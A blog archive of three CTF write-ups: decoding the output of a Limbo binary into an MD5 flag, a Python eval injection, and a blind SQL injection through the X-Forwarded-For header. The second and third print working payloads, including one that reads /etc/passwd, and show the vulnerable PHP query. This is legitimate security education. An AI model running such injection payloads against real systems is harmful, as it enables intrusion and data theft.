Skip navigation

Tag Archives: PHDays

This was an odd one. We were given a binary, and two hints: “limbo” and “inferno”. After a quick google, we find out that “limbo” is a programming language intended to be run on the “inferno” operating system. Inferno can either be run as a stand-alone OS, usually on embedded systems, or as an application within a parent OS. I elected the latter, and before long had a working install of Inferno.

The binary still would not execute though. Some more googling lead me to understand that the usual extension for compiled limbo applications is “.dis”. After adding that extension to the binary, we can finally execute it, and get the output:

98f6bcd 4621d373 -3521b17d 2627b4f6

This is… almost an md5 hash! The first quarter is only 7 characters, so we pad it with a 0 to get the full 32.

098f6bcd 4621d373 -3521b17d 2627b4f6

Something is odd about the third, but by googling the first, we quickly discover that it is the beginning of the md5 of the word ‘test’. However, the third quadrant is wrong, so we swap it out for the real one.

98f6bcd 4621d373 +cade4e83 2627b4f6

98f6bcd4621d373cade4e832627b4f6

Which is the md5 of ‘test’ and the correct flag for the challenge.

Advertisements

We were presented with a simple site. It was the admin control panel for the oppressive South Park PD. It allowed the cruel police of South Park to select a citizen, and one of three horrible actions. To teach them a lesson, we were to extract the flag from /etc/passwd.

Submitting the form submitted three parameters:
actions
choice
human

We were given the sources, but I didn’t look too hard at them. Chucking rubbish into the variables, we’re very quickly able to get a python stack trace. With some more tinkering, we can find that whatever is included in “human” is passed to “actions” as an argument. The output of actions has to be a string, or the program fails.

The query I used to get the flag was:

&actions=eval&choice=%00&human=str(file(“/etc/passwd”).read())

I never figured out what choice did, but changing it from a null byte seemed to break things, so I just left it.

The response:

HTTP/1.1 200 OK
Date: Sat, 15 Dec 2012 16:07:58 GMT
Content-Length: 1485
Content-Type: text/html
Server: TwistedWeb/12.1.0

# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
phdays:*:1001:1001:User &:/home/phdays:/bin/sh

The task was to retrieve the flag from a website. The website was built on an open source framework, and so included a link to the source, hosted on GitHub. There wasn’t much to it, apart from the comments sections of news articles, and so it was pretty easy to find some vulnerable code:

$sql = "INSERT INTO `comments` SET `news_id` = " . (int)$id .
",`username` = " . $this->db->quote($data['username']). 
",`text` = " . $this->db->quote($data['text']). 
",`date_posted` = NOW(), `ip` = INET_ATON('" . $data['ip'] . "')";  

Sweet. Looks like if we can get our payload into $data[‘ip’] we can inject into the query. Luckily, elsewhere in the code, we’re shown that if HTTP_X_FORWARDED_FOR is set, that is the IP address that is used. I made a test comment, and sent the request on over to Burp Repeater.

We can inject by changing the X-Forwarded-For header.

We can start by using error based injection to find the right table and column. This is the query we get that allows the comment to be posted, rather than spitting out a table/column not found error:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags’);–

From here on out, we’re going blind. We have to build the flag, letter by letter, going through 0-9a-f until the query fails, and then go back one letter. By this repeated process, we can build the entire 32 character flag:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags WHERE flag > ’94bd6136818878b5dd97d3a231a97649′);–